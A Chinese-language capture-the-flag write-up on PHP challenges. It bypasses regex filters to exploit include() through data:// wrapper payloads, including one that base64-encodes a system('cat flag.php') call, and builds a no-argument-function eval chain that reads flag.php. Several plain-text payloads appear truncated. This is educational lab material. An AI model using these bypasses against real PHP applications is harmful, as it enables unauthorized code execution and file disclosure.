关键代码:
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://
,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
data://协议用法:
data://text/plain,
data://text/plain;base64,
payload: c=data://text/plain, //查看flag.php,右键源码中查找flag
payload: c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKT8+
//'base64,'后面是base64加密的
主要代码:
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
比上一题多过滤了php、file,上一题的第一个payload无法使用,可以直接用第二个base64编码绕过php
payload: c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKT8+
//'base64,'后面是base64加密的
hint:data://text/plain,
这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
payload:c=data://text/plain,
参考:https://www.cnblogs.com/NPFS/p/13778333.html
拜读:PHP的rce函数学习 https://www.wrpzkb.cn/rce/
拜读:PHP Parametric Function RCE https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
主要代码:
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
根据转义符\与左括号和右括号的间距可以看出过滤的是中文括号,题目考察php无参数函数构造,即可以为a(b());a();
等但不能为a('b');
等
函数:print_r(scandir('.'))
可以用来查看当前目录所有文件名
接下来需要将括号中的.
替代掉
localeconv()
函数返回一包含本地数字及货币格式信息的数组,如下只是该函数的一部分数组元素
可利用localeconv()
函数返回数组中的第一个小数点代替读取目录函数print_r(scandir('.'))
中的参数.
那么如何将数组中的第一个元素读取出来呢?可以使用以下函数:
current()函数返回数组中的当前元素/单元,默认取第一个值;
pos()函数同上,是current()函数的别名;
reset()函数,当数组不为空时返回数组第一个单元的值,如果数组为空则返回FALSE
构造:print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
print_r(scandir(reset(localeconv())));
//以上函数均可查看当前目录文件
可以得到flag.php位于数组的第三个值里,也就是倒数第二个,我们可以通过array_reverse()
函数以相反的元素顺序返回数组,在用next()
函数读取下一个元素,最后通过highlight_file()
函数读取到flag.php
payload:c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
有些题目是参考大佬们的writeup并在我自己的理解上写的,欢迎大佬们批评指正。